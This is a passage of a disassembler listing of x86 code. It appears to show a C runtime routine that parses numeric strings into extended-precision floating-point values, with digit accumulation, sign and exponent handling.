mov eax, [ebp+arg_0]
mov [eax+8], edx
mov esp, ebp
pop ebp
retn
sub_433110 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433170 proc near ; CODE XREF: sub_433EA0+382p
; sub_436170+316p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 80000000h
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 1
neg eax
sbb eax, eax
and eax, 80000000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shr edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shr edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_433170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4331E0 proc near ; CODE XREF: sub_433320+8A7p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 404Eh
mov eax, [ebp+arg_8]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_8]
mov dword ptr [edx+8], 0
jmp short loc_43321D
; ---------------------------------------------------------------------------
loc_43320B: ; CODE XREF: sub_4331E0+B2j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_43321D: ; CODE XREF: sub_4331E0+29j
cmp [ebp+arg_4], 0
jbe short loc_433297
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov ecx, [edx+4]
mov [ebp+var_8], ecx
mov edx, [edx+8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
push eax
call sub_433110
add esp, 4
mov ecx, [ebp+arg_8]
push ecx
call sub_433110
add esp, 4
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_433060
add esp, 8
mov ecx, [ebp+arg_8]
push ecx
call sub_433110
add esp, 4
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_433060
add esp, 8
jmp loc_43320B
; ---------------------------------------------------------------------------
loc_433297: ; CODE XREF: sub_4331E0+41j
; sub_4331E0+101j
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 0
jnz short loc_4332E3
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shr edx, 10h
mov eax, [ebp+arg_8]
mov [eax+8], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shl edx, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shr ecx, 10h
or edx, ecx
mov eax, [ebp+arg_8]
mov [eax+4], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
shl edx, 10h
mov eax, [ebp+arg_8]
mov [eax], edx
mov cx, [ebp+var_10]
sub cx, 10h
mov [ebp+var_10], cx
jmp short loc_433297
; ---------------------------------------------------------------------------
loc_4332E3: ; CODE XREF: sub_4331E0+BEj
; sub_4331E0+12Aj
mov edx, [ebp+arg_8]
mov eax, [edx+8]
and eax, 8000h
test eax, eax
jnz short loc_43330C
mov ecx, [ebp+arg_8]
push ecx
call sub_433110
add esp, 4
mov dx, [ebp+var_10]
sub dx, 1
mov [ebp+var_10], dx
jmp short loc_4332E3
; ---------------------------------------------------------------------------
loc_43330C: ; CODE XREF: sub_4331E0+110j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_10]
mov [eax+0Ah], cx
mov esp, ebp
pop ebp
retn
sub_4331E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433320 proc near ; CODE XREF: sub_430290+1Ap
; seg000:004302EAp ...
var_B4 = byte ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_A4 = byte ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_21 = byte ptr -21h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 0B4h
lea eax, [ebp+var_38]
mov [ebp+var_68], eax
mov word ptr [ebp+var_1C], 0
mov [ebp+var_74], 1
mov [ebp+var_70], 0
mov [ebp+var_54], 0
mov [ebp+var_C], 0
mov [ebp+var_18], 0
mov [ebp+var_40], 0
mov [ebp+var_78], 0
mov [ebp+var_14], 0
mov [ebp+var_6C], 0
mov [ebp+var_44], 0
mov [ebp+var_4C], 0
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_64], edx
jmp short loc_433399
; ---------------------------------------------------------------------------
loc_433390: ; CODE XREF: sub_433320:loc_4333C5j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_433399: ; CODE XREF: sub_433320+6Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_4333C5
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jz short loc_4333C5
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jz short loc_4333C5
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jnz short loc_4333C7
loc_4333C5: ; CODE XREF: sub_433320+82j
; sub_433320+8Dj ...
jmp short loc_433390
; ---------------------------------------------------------------------------
loc_4333C7: ; CODE XREF: sub_433320+A3j
; sub_433320:loc_433B23j
cmp [ebp+var_4C], 0Ah
jz loc_433B28
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4C]
mov [ebp+var_80], eax
cmp [ebp+var_80], 0Bh
ja loc_433B23
mov ecx, [ebp+var_80]
jmp ds:off_433D3A[ecx*4]
loc_4333FC: ; DATA XREF: seg000:off_433D3Ao
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_433420
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_433420
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_433495
; ---------------------------------------------------------------------------
loc_433420: ; CODE XREF: sub_433320+E3j
; sub_433320+ECj
movsx edx, byte ptr [ebp+var_3C]
movsx eax, ds:byte_44FD24
cmp edx, eax
jnz short loc_433438
mov [ebp+var_4C], 5
jmp short loc_433495
; ---------------------------------------------------------------------------
loc_433438: ; CODE XREF: sub_433320+10Dj
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_84], cl
cmp [ebp+var_84], 2Bh
jz short loc_433467
cmp [ebp+var_84], 2Dh
jz short loc_433476
cmp [ebp+var_84], 30h
jz short loc_43345E
jmp short loc_433485
; ---------------------------------------------------------------------------
loc_43345E: ; CODE XREF: sub_433320+13Aj
mov [ebp+var_4C], 1
jmp short loc_433495
; ---------------------------------------------------------------------------
loc_433467: ; CODE XREF: sub_433320+128j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 0
jmp short loc_433495
; ---------------------------------------------------------------------------
loc_433476: ; CODE XREF: sub_433320+131j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 8000h
jmp short loc_433495
; ---------------------------------------------------------------------------
loc_433485: ; CODE XREF: sub_433320+13Cj
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_433495: ; CODE XREF: sub_433320+FEj
; sub_433320+116j ...
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_43349A: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D3Eo
mov [ebp+var_54], 1
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_4334C8
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_4334C8
mov [ebp+var_4C], 3
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp loc_43354B
; ---------------------------------------------------------------------------
loc_4334C8: ; CODE XREF: sub_433320+188j
; sub_433320+191j
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, ds:byte_44FD24
cmp eax, ecx
jnz short loc_4334E0
mov [ebp+var_4C], 4
jmp short loc_43354B
; ---------------------------------------------------------------------------
loc_4334E0: ; CODE XREF: sub_433320+1B5j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_88], edx
mov eax, [ebp+var_88]
sub eax, 2Bh
mov [ebp+var_88], eax
cmp [ebp+var_88], 3Ah
ja short loc_43353B
mov edx, [ebp+var_88]
xor ecx, ecx
mov cl, ds:byte_433D7A[edx]
jmp ds:off_433D6A[ecx*4]
loc_433517: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D6Eo
mov [ebp+var_4C], 1
jmp short loc_43354B
; ---------------------------------------------------------------------------
loc_433520: ; CODE XREF: sub_433320+D5j
; sub_433320+1F0j
; DATA XREF: ...
mov [ebp+var_4C], 6
jmp short loc_43354B
; ---------------------------------------------------------------------------
loc_433529: ; CODE XREF: sub_433320+D5j
; sub_433320+1F0j
; DATA XREF: ...
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_43354B
; ---------------------------------------------------------------------------
loc_43353B: ; CODE XREF: sub_433320+D5j
; sub_433320+1E0j ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_43354B: ; CODE XREF: sub_433320+1A3j
; sub_433320+1BEj ...
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_433550: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D42o
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_433574
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_433574
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4335B6
; ---------------------------------------------------------------------------
loc_433574: ; CODE XREF: sub_433320+237j
; sub_433320+240j
movsx edx, byte ptr [ebp+var_3C]
movsx eax, ds:byte_44FD24
cmp edx, eax
jnz short loc_43358C
mov [ebp+var_4C], 5
jmp short loc_4335B6
; ---------------------------------------------------------------------------
loc_43358C: ; CODE XREF: sub_433320+261j
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_8C], cl
cmp [ebp+var_8C], 30h
jz short loc_4335A0
jmp short loc_4335A9
; ---------------------------------------------------------------------------
loc_4335A0: ; CODE XREF: sub_433320+27Cj
mov [ebp+var_4C], 1
jmp short loc_4335B6
; ---------------------------------------------------------------------------
loc_4335A9: ; CODE XREF: sub_433320+27Ej
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_4335B6: ; CODE XREF: sub_433320+252j
; sub_433320+26Aj ...
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_4335BB: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D46o
mov [ebp+var_54], 1
jmp short loc_4335D5
; ---------------------------------------------------------------------------
loc_4335C4: ; CODE XREF: sub_433320:loc_43364Fj
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4335D5: ; CODE XREF: sub_433320+2A2j
cmp ds:dword_44FD20, 1
jle short loc_4335F9
push 4
mov eax, [ebp+var_3C]
and eax, 0FFh
push eax
call sub_423D90
add esp, 8
mov [ebp+var_90], eax
jmp short loc_433617
; ---------------------------------------------------------------------------
loc_4335F9: ; CODE XREF: sub_433320+2BCj
mov ecx, [ebp+var_3C]
and ecx, 0FFh
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_90], eax
loc_433617: ; CODE XREF: sub_433320+2D7j
cmp [ebp+var_90], 0
jz short loc_433654
cmp [ebp+var_70], 19h
jnb short loc_433646
mov ecx, [ebp+var_70]
add ecx, 1
mov [ebp+var_70], ecx
movsx edx, byte ptr [ebp+var_3C]
sub edx, 30h
mov eax, [ebp+var_68]
mov [eax], dl
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
jmp short loc_43364F
; ---------------------------------------------------------------------------
loc_433646: ; CODE XREF: sub_433320+304j
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
loc_43364F: ; CODE XREF: sub_433320+324j
jmp loc_4335C4
; ---------------------------------------------------------------------------
loc_433654: ; CODE XREF: sub_433320+2FEj
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, ds:byte_44FD24
cmp eax, ecx
jnz short loc_43366C
mov [ebp+var_4C], 4
jmp short loc_4336CE
; ---------------------------------------------------------------------------
loc_43366C: ; CODE XREF: sub_433320+341j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_94], edx
mov eax, [ebp+var_94]
sub eax, 2Bh
mov [ebp+var_94], eax
cmp [ebp+var_94], 3Ah
ja short loc_4336BE
mov edx, [ebp+var_94]
xor ecx, ecx
mov cl, ds:byte_433DC1[edx]
jmp ds:off_433DB5[ecx*4]
loc_4336A3: ; DATA XREF: seg000:00433DB9o
mov [ebp+var_4C], 6
jmp short loc_4336CE
; ---------------------------------------------------------------------------
loc_4336AC: ; CODE XREF: sub_433320+37Cj
; DATA XREF: seg000:off_433DB5o
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_4336CE
; ---------------------------------------------------------------------------
loc_4336BE: ; CODE XREF: sub_433320+36Cj
; sub_433320+37Cj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4336CE: ; CODE XREF: sub_433320+34Aj
; sub_433320+38Aj ...
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_4336D3: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D4Ao
mov [ebp+var_54], 1
mov [ebp+var_C], 1
cmp [ebp+var_70], 0
jnz short loc_43370E
jmp short loc_4336FA
; ---------------------------------------------------------------------------
loc_4336E9: ; CODE XREF: sub_433320+3ECj
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4336FA: ; CODE XREF: sub_433320+3C7j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 30h
jnz short loc_43370E
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_4336E9
; ---------------------------------------------------------------------------
loc_43370E: ; CODE XREF: sub_433320+3C5j
; sub_433320+3E1j
jmp short loc_433721
; ---------------------------------------------------------------------------
loc_433710: ; CODE XREF: sub_433320:loc_433799j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_433721: ; CODE XREF: sub_433320:loc_43370Ej
cmp ds:dword_44FD20, 1
jle short loc_433746
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_98], eax
jmp short loc_433763
; ---------------------------------------------------------------------------
loc_433746: ; CODE XREF: sub_433320+408j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_98], ecx
loc_433763: ; CODE XREF: sub_433320+424j
cmp [ebp+var_98], 0
jz short loc_43379E
cmp [ebp+var_70], 19h
jnb short loc_433799
mov edx, [ebp+var_70]
add edx, 1
mov [ebp+var_70], edx
movsx eax, byte ptr [ebp+var_3C]
sub eax, 30h
mov ecx, [ebp+var_68]
mov [ecx], al
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
loc_433799: ; CODE XREF: sub_433320+450j
jmp loc_433710
; ---------------------------------------------------------------------------
loc_43379E: ; CODE XREF: sub_433320+44Aj
movsx ecx, byte ptr [ebp+var_3C]
mov [ebp+var_9C], ecx
mov edx, [ebp+var_9C]
sub edx, 2Bh
mov [ebp+var_9C], edx
cmp [ebp+var_9C], 3Ah
ja short loc_4337F0
mov ecx, [ebp+var_9C]
xor eax, eax
mov al, ds:byte_433E08[ecx]
jmp ds:off_433DFC[eax*4]
loc_4337D5: ; DATA XREF: seg000:00433E00o
mov [ebp+var_4C], 6
jmp short loc_433800
; ---------------------------------------------------------------------------
loc_4337DE: ; CODE XREF: sub_433320+4AEj
; DATA XREF: seg000:off_433DFCo
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov [ebp+var_4C], 0Bh
jmp short loc_433800
; ---------------------------------------------------------------------------
loc_4337F0: ; CODE XREF: sub_433320+49Ej
; sub_433320+4AEj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_433800: ; CODE XREF: sub_433320+4BCj
; sub_433320+4CEj
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_433805: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D4Eo
mov [ebp+var_C], 1
cmp ds:dword_44FD20, 1
jle short loc_433831
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_A0], eax
jmp short loc_43384E
; ---------------------------------------------------------------------------
loc_433831: ; CODE XREF: sub_433320+4F3j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_A0], ecx
loc_43384E: ; CODE XREF: sub_433320+50Fj
cmp [ebp+var_A0], 0
jz short loc_433869
mov [ebp+var_4C], 4
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_433876
; ---------------------------------------------------------------------------
loc_433869: ; CODE XREF: sub_433320+535j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_433876: ; CODE XREF: sub_433320+547j
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_43387B: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D52o
mov ecx, [ebp+var_4]
sub ecx, 2
mov [ebp+var_64], ecx
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_4338A8
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_4338A8
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4338FD
; ---------------------------------------------------------------------------
loc_4338A8: ; CODE XREF: sub_433320+56Bj
; sub_433320+574j
mov dl, byte ptr [ebp+var_3C]
mov [ebp+var_A4], dl
cmp [ebp+var_A4], 2Bh
jz short loc_4338E7
cmp [ebp+var_A4], 2Dh
jz short loc_4338D7
cmp [ebp+var_A4], 30h
jz short loc_4338CE
jmp short loc_4338F0
; ---------------------------------------------------------------------------
loc_4338CE: ; CODE XREF: sub_433320+5AAj
mov [ebp+var_4C], 8
jmp short loc_4338FD
; ---------------------------------------------------------------------------
loc_4338D7: ; CODE XREF: sub_433320+5A1j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_4338FD
; ---------------------------------------------------------------------------
loc_4338E7: ; CODE XREF: sub_433320+598j
mov [ebp+var_4C], 7
jmp short loc_4338FD
; ---------------------------------------------------------------------------
loc_4338F0: ; CODE XREF: sub_433320+5ACj
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_4338FD: ; CODE XREF: sub_433320+586j
; sub_433320+5B5j ...
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_433902: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D5Ao
mov [ebp+var_18], 1
jmp short loc_43391C
; ---------------------------------------------------------------------------
loc_43390B: ; CODE XREF: sub_433320+605j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_43391C: ; CODE XREF: sub_433320+5E9j
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 30h
jnz short loc_433927
jmp short loc_43390B
; ---------------------------------------------------------------------------
loc_433927: ; CODE XREF: sub_433320+603j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_43394B
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_43394B
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_43395B
; ---------------------------------------------------------------------------
loc_43394B: ; CODE XREF: sub_433320+60Ej
; sub_433320+617j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_43395B: ; CODE XREF: sub_433320+629j
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_433960: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D56o
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_433984
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_433984
mov [ebp+var_4C], 9
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_4339AE
; ---------------------------------------------------------------------------
loc_433984: ; CODE XREF: sub_433320+647j
; sub_433320+650j
mov al, byte ptr [ebp+var_3C]
mov [ebp+var_A8], al
cmp [ebp+var_A8], 30h
jz short loc_433998
jmp short loc_4339A1
; ---------------------------------------------------------------------------
loc_433998: ; CODE XREF: sub_433320+674j
mov [ebp+var_4C], 8
jmp short loc_4339AE
; ---------------------------------------------------------------------------
loc_4339A1: ; CODE XREF: sub_433320+676j
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_64]
mov [ebp+var_4], ecx
loc_4339AE: ; CODE XREF: sub_433320+662j
; sub_433320+67Fj
jmp loc_433B23
; ---------------------------------------------------------------------------
loc_4339B3: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D5Eo
mov [ebp+var_18], 1
mov [ebp+var_7C], 0
jmp short loc_4339D4
; ---------------------------------------------------------------------------
loc_4339C3: ; CODE XREF: sub_433320:loc_433A42j
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4339D4: ; CODE XREF: sub_433320+6A1j
cmp ds:dword_44FD20, 1
jle short loc_4339F9
push 4
mov edx, [ebp+var_3C]
and edx, 0FFh
push edx
call sub_423D90
add esp, 8
mov [ebp+var_AC], eax
jmp short loc_433A16
; ---------------------------------------------------------------------------
loc_4339F9: ; CODE XREF: sub_433320+6BBj
mov eax, [ebp+var_3C]
and eax, 0FFh
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_AC], edx
loc_433A16: ; CODE XREF: sub_433320+6D7j
cmp [ebp+var_AC], 0
jz short loc_433A47
mov eax, [ebp+var_7C]
imul eax, 0Ah
movsx ecx, byte ptr [ebp+var_3C]
lea edx, [eax+ecx-30h]
mov [ebp+var_7C], edx
cmp [ebp+var_7C], 1450h
jle short loc_433A42
mov [ebp+var_7C], 1451h
jmp short loc_433A47
; ---------------------------------------------------------------------------
loc_433A42: ; CODE XREF: sub_433320+717j
jmp loc_4339C3
; ---------------------------------------------------------------------------
loc_433A47: ; CODE XREF: sub_433320+6FDj
; sub_433320+720j
mov eax, [ebp+var_7C]
mov [ebp+var_14], eax
jmp short loc_433A60
; ---------------------------------------------------------------------------
loc_433A4F: ; CODE XREF: sub_433320+78Bj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_433A60: ; CODE XREF: sub_433320+72Dj
cmp ds:dword_44FD20, 1
jle short loc_433A85
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_B0], eax
jmp short loc_433AA2
; ---------------------------------------------------------------------------
loc_433A85: ; CODE XREF: sub_433320+747j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_B0], ecx
loc_433AA2: ; CODE XREF: sub_433320+763j
cmp [ebp+var_B0], 0
jz short loc_433AAD
jmp short loc_433A4F
; ---------------------------------------------------------------------------
loc_433AAD: ; CODE XREF: sub_433320+789j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_433B23
; ---------------------------------------------------------------------------
loc_433ABF: ; CODE XREF: sub_433320+D5j
; DATA XREF: seg000:00433D66o
cmp [ebp+arg_18], 0
jz short loc_433B13
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_64], eax
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_B4], cl
cmp [ebp+var_B4], 2Bh
jz short loc_433AFB
cmp [ebp+var_B4], 2Dh
jz short loc_433AEB
jmp short loc_433B04
; ---------------------------------------------------------------------------
loc_433AEB: ; CODE XREF: sub_433320+7C7j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_433B11
; ---------------------------------------------------------------------------
loc_433AFB: ; CODE XREF: sub_433320+7BEj
mov [ebp+var_4C], 7
jmp short loc_433B11
; ---------------------------------------------------------------------------
loc_433B04: ; CODE XREF: sub_433320+7C9j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_433B11: ; CODE XREF: sub_433320+7D9j
; sub_433320+7E2j
jmp short loc_433B23
; ---------------------------------------------------------------------------
loc_433B13: ; CODE XREF: sub_433320+7A3j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_433B23: ; CODE XREF: sub_433320+CCj
; sub_433320+D5j ...
jmp loc_4333C7
; ---------------------------------------------------------------------------
loc_433B28: ; CODE XREF: sub_433320+ABj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
cmp [ebp+var_54], 0
jz loc_433C77
cmp [ebp+var_40], 0
jnz loc_433C77
cmp [ebp+var_78], 0
jnz loc_433C77
cmp [ebp+var_70], 18h
jbe short loc_433B7F
movsx eax, [ebp+var_21]
cmp eax, 5
jl short loc_433B66
mov cl, [ebp+var_21]
add cl, 1
mov [ebp+var_21], cl
loc_433B66: ; CODE XREF: sub_433320+83Bj
mov [ebp+var_70], 18h
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
loc_433B7F: ; CODE XREF: sub_433320+832j
cmp [ebp+var_70], 0
jbe loc_433C5A
mov ecx, [ebp+var_68]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_433B9D
; ---------------------------------------------------------------------------
loc_433B94: ; CODE XREF: sub_433320+899j
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
loc_433B9D: ; CODE XREF: sub_433320+872j
mov eax, [ebp+var_68]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_433BBB
mov edx, [ebp+var_70]
sub edx, 1
mov [ebp+var_70], edx
mov eax, [ebp+var_6C]
add eax, 1
